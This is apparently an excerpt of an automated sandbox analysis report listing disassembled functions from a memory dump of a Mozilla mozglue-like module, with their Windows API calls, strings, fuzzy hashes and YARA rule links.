Opcode Fuzzy Hash: 9a7bb6c48a2280e9e2e6e2e5814941894984cd59994a10eb2a0194ee6d2d7de6
Instruction Fuzzy Hash: 0EF02E7139879423E620366B0C0BF9A3A6D7BC2B65F704176F204EEDC0FA60E43056AC

Function 6CC35850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CC3586C
CloseHandle.KERNEL32 ref: 6CC35878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC35898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC358C9
free.MOZGLUE(00000000), ref: 6CC358D3

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 16ec46734ffcbdd186e95e4e5e97bc20dbd40181d8ee79c3057f49f6567f911f
Instruction ID: cde55c1891af8ee48b6078d8312b1300aa041c348c5985f660332f2a08268397
Opcode Fuzzy Hash: 16ec46734ffcbdd186e95e4e5e97bc20dbd40181d8ee79c3057f49f6567f911f
Instruction Fuzzy Hash: B201FBB17442119FEB05EF1AAC08A067BB9EB87329BE44176E51AE2614E73198358F81

Function 6CC27620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CC275C4,?), ref: 6CC2762B

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CC274D7,6CC315FC,?,?,?), ref: 6CC27644
GetCurrentThreadId.KERNEL32 ref: 6CC2765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC274D7,6CC315FC,?,?,?), ref: 6CC27663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC274D7,6CC315FC,?,?,?), ref: 6CC27677

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6ece94435ce4698d0fd432e444cac3fdda172d8e4f3b93174d24cb1e7b93a381
Instruction ID: d2ed07ecd9eaccf68bd40b8ddbbaf55561ddccd2a4d87381ce18cb6a751d4d4a
Opcode Fuzzy Hash: 6ece94435ce4698d0fd432e444cac3fdda172d8e4f3b93174d24cb1e7b93a381
Instruction Fuzzy Hash: 72F0C271E10785ABD7008F21C898676BB78FFEB359F115316F90463601E7B0A5E08BD0

Function 6CC31700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CC31800

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

Part of subcall function 6CBD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC13EBD,6CC13EBD,00000000), ref: 6CBD42A9

Strings

Details, xrefs: 6CC31925
{marker.name} - {marker.data.name}, xrefs: 6CC318C7
name, xrefs: 6CC31939

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: deaf250b4c3ff930051ca521f28791061f6ea53134d8e59874846b624046da69
Instruction ID: 47f23a3b903b4cd2128c0f6006b505367dc1b880c55540c336fa7bac9aedd1be
Opcode Fuzzy Hash: deaf250b4c3ff930051ca521f28791061f6ea53134d8e59874846b624046da69
Instruction Fuzzy Hash: AB712670A0034A9FC704CF28D454B9ABBB1FF85314F84466DD8195BB41EB70E6A9CBE2

Function 6CC3B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CC3B0A6,6CC3B0A6,?,6CC3AF67,?,00000010,?,6CC3AF67,?,00000010,00000000,?,?,6CC3AB1F), ref: 6CC3B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CC3B0A6,6CC3B0A6,?,6CC3AF67,?,00000010,?,6CC3AF67,?,00000010,00000000,?), ref: 6CC3B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CC3B0A6,6CC3B0A6,?,6CC3AF67,?,00000010,?,6CC3AF67,?,00000010), ref: 6CC3B25F

Strings

map/set<T> too long, xrefs: 6CC3B1FA

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 480aa5df4417c34b0110af0d67b366bed5b3ce027a40425e6548acc89676943f
Instruction ID: 539e38269359a6c986f6629277e40c1732010fb2072ffe2d82324ddf5061badb
Opcode Fuzzy Hash: 480aa5df4417c34b0110af0d67b366bed5b3ce027a40425e6548acc89676943f
Instruction Fuzzy Hash: 00618874A006558FD701CF19D890A9ABBF1FF4A318F28C199D85D8BB52E332EC45CB91

Function 6CBFD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

EnterCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD4F2
LeaveCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD50B

Part of subcall function 6CBDCFE0: EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBDCFF6
Part of subcall function 6CBDCFE0: LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBDD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD52E
EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CBFD690
LeaveCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD751

Strings

MOZ_CRASH(), xrefs: 6CBFD4BB

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 9aa3f9f64dea9179d04710418329a6783b7b09f6586a2f0c84f55150c4c79717
Instruction ID: 43294182957088d72428eee7bb165971c159464ec2e7014eb0b49310974662db
Opcode Fuzzy Hash: 9aa3f9f64dea9179d04710418329a6783b7b09f6586a2f0c84f55150c4c79717
Instruction Fuzzy Hash: 1C51E171A047418FD718CF28C09071ABBF1EB8A744F944A2ED5A9D7F84E770E815CB92

Function 6CC24630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC24721

Strings

-%llu, xrefs: 6CC24733
profiler-paused, xrefs: 6CC246E4
., xrefs: 6CC2476A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: d02d35628340b11782ae6e18e71feb5769377a71da5d9e79ca19715fc7ded218
Instruction ID: 7394dad2cd008f786d6c5ea58faec7b00c6fc17b769b8157de32c7e846df40aa
Opcode Fuzzy Hash: d02d35628340b11782ae6e18e71feb5769377a71da5d9e79ca19715fc7ded218
Instruction Fuzzy Hash: A4413371B047089BCB08DF78D85155EBBF5EB85748F10C62EE855ABB81FB349844C752

Function 6CC246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC24721

Part of subcall function 6CBD4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CC13EBD,00000017,?,00000000,?,6CC13EBD,?,?,6CBD42D2), ref: 6CBD4444

Strings

-%llu, xrefs: 6CC24733
profiler-paused, xrefs: 6CC246E4
., xrefs: 6CC2476A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: b37e05304745cee2cc3306a4d66a534ef9605d326d6ad734402f8c82b805c00a
Instruction ID: 819cee82f1722c57228e2bd7b58cc2f9749e3a31ca28d49d5eb7b3cef921ee59
Opcode Fuzzy Hash: b37e05304745cee2cc3306a4d66a534ef9605d326d6ad734402f8c82b805c00a
Instruction Fuzzy Hash: 7F311271F042084BCB08CF6DD89169EBBE6EB89714F55813EE8559BB81FA749804CB90

Function 6CC2B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC13EBD,6CC13EBD,00000000), ref: 6CBD42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC2B127), ref: 6CC2B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC2B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CC2B4E4

Strings

pid:, xrefs: 6CC2B4DE

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 0b4589226a4816428929e68f48a1866b36fa1c23ccce125823a0ada44b6ab106
Instruction ID: d75b055c203644cfa9069cd2860f2ae44537d8f27a012feff80e23be3e4a24d0
Opcode Fuzzy Hash: 0b4589226a4816428929e68f48a1866b36fa1c23ccce125823a0ada44b6ab106
Instruction Fuzzy Hash: D6310331A012089BDB00DFA9D890AEEB7B5FF49318F540529D8126BE41E735A859CBA1

Function 6CC1E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1E577
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1E584
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC1E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CC1E5A1, 6CC1E5CC, 6CC1E5FF, 6CC1E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC1E722, 6CC1E750, 6CC1E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC1E826, 6CC1E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC1E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC1E777

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 786fb63d39aad1da3791c0a79688eb08c17d564dcea20bd4ade42eb103a9d765
Instruction ID: 4fd6f0ad4855c2312bd9947789b118b060c90bf31ace254d58238a33470cee55
Opcode Fuzzy Hash: 786fb63d39aad1da3791c0a79688eb08c17d564dcea20bd4ade42eb103a9d765
Instruction Fuzzy Hash: 8611A131B04254DFCB009F19C448A6ABBF4FBC9328FC0051DF845A7E50E770A825CBA5

Function 6CC20C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC20CD5

Part of subcall function 6CC0F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC0F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC20D40
free.MOZGLUE ref: 6CC20DCB

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

free.MOZGLUE ref: 6CC20DDD
free.MOZGLUE ref: 6CC20DF2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 080de7e9cb0f38477113325c7e589a92e4690442ebf1cdf3a09ee136cfe4878d
Instruction ID: d3bb36ad3e9e82aa3825190453393bd323f1922d2971930f8eb36a70099f9c39
Opcode Fuzzy Hash: 080de7e9cb0f38477113325c7e589a92e4690442ebf1cdf3a09ee136cfe4878d
Instruction Fuzzy Hash: B1412B75A097848BD320CF29C04079EFBE5BFC9754F508A2EE8D887750E7749449CB82

Function 6CC2CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2CDA4

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

Part of subcall function 6CC2D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CC2CDBA,00100000,?,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2D158
Part of subcall function 6CC2D130: InitializeConditionVariable.KERNEL32(00000098,?,6CC2CDBA,00100000,?,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2CDC4

Part of subcall function 6CC27480: ReleaseSRWLockExclusive.KERNEL32(?,6CC315FC,?,?,?,?,6CC315FC,?), ref: 6CC274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2CECC

Part of subcall function 6CBECA10: mozalloc_abort.MOZGLUE(?), ref: 6CBECAA2

Part of subcall function 6CC1CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CC2CEEA,?,?,?,?,00000000,?,6CC1DA31,00100000,?,?,00000000), ref: 6CC1CB57
Part of subcall function 6CC1CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CC1CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CC2CEEA,?,?), ref: 6CC1CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CC1DA31,00100000,?,?,00000000,?), ref: 6CC2D058

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: af5ab34f81470fe830a6c6387168268eaa050dbfdffbf1be8b3796d95a1ae14e
Instruction ID: df14749ea75f6647ed7af1b2bffedbcff47c8fa9f8e786629a465083509a1daf
Opcode Fuzzy Hash: af5ab34f81470fe830a6c6387168268eaa050dbfdffbf1be8b3796d95a1ae14e
Instruction Fuzzy Hash: D6D17E71A04B469FD718CF28C480B99F7F1BF99308F01862DD9598B752EB31E9A5CB81

Function 6CBE1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CBE17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CBE18EE
free.MOZGLUE(?), ref: 6CBE1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBE194C

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: a41d4468f1b09de45f4966fc99689f3c41e00a4208653a41ec2aa7e5df79c349
Instruction ID: 669e85a755583dec40587878e69b2a87c14f79e3f1aefa31893a9a77b7f4be55
Opcode Fuzzy Hash: a41d4468f1b09de45f4966fc99689f3c41e00a4208653a41ec2aa7e5df79c349
Instruction Fuzzy Hash: 9981E374A112459FCB08CF68C8949EEBBB1FF8D750F28462CE811AB751D730E855CBA2

Function 6CBF5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBF5D40
EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5D67
__aulldiv.LIBCMT ref: 6CBF5DB4
LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5DED

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 511778672ab9939ecfbb6abb8f4d13412cffb4186c1731de9a29595d74c32639
Instruction ID: b9fb6a369a135890552ce6b8b09aa92688d6eee7e28abe196da6b26f7ac7bfb4
Opcode Fuzzy Hash: 511778672ab9939ecfbb6abb8f4d13412cffb4186c1731de9a29595d74c32639
Instruction Fuzzy Hash: E3519175E011698FCF08CF68C854ABEBBB1FB85304F59861DC861B7790C730A95ACB90

Function 6CBDCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBDCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CBDCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CBDCF4E

Strings

0, xrefs: 6CBDCF30

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a5f0190ac633e4825faae4521b687d1c7b8786214fc4c9fd4f4c0212c38cedf1
Instruction ID: f6e5f4aeab8b7d92b4833aa69e47109790ae59502245090078660b5b5224f396
Opcode Fuzzy Hash: a5f0190ac633e4825faae4521b687d1c7b8786214fc4c9fd4f4c0212c38cedf1
Instruction Fuzzy Hash: E751F275A002568FCB04CF18C490AAAFBB5EF99304F2A859DD8595F351E731BD06CBE0

Function 6CC377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CC37829

Part of subcall function 6CC0CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CBD31A7), ref: 6CC0CC45
Part of subcall function 6CC0CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CBD31A7), ref: 6CC0CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC3789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC378CF

Part of subcall function 6CBD4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBD4E5A
Part of subcall function 6CBD4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBD4E97

Part of subcall function 6CBD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC13EBD,6CC13EBD,00000000), ref: 6CBD42A9

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
